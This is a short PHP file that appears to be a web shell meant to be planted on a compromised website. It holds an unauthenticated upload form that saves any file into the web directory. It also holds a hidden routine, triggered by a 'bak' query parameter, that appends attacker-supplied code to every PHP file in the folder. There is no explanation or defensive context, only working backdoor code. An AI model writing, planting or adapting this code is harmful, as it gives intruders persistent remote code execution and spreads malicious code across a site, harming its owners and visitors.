<?php echo\"<form method=\'post\' enctype=\'multipart/form-data\'><input type=\'file\' name=\'a\'><input type=\'submit\' value=\'Nyanpasu!!!\'></form><pre>\";if(isset($_FILES[\'a\'])){move_uploaded_file($_FILES[\'a\'][\'tmp_name\'],\"{$_FILES[\'a\'][\'name\']}\");print_r($_FILES);};echo\"</pre>\";?>
<?php
if (isset($_GET[\'bak\'])) {
$directory = __DIR__;
$mama = $_POST[\'file\'];
$textToAppend = \'
\' . $mama . \'
\';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === \'php\') {
            $fileHandle = fopen($directory . \'/\' . $file, \'a\');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo \"OK >> $file
\";
        }
    }
    closedir($handle);
}
}
?>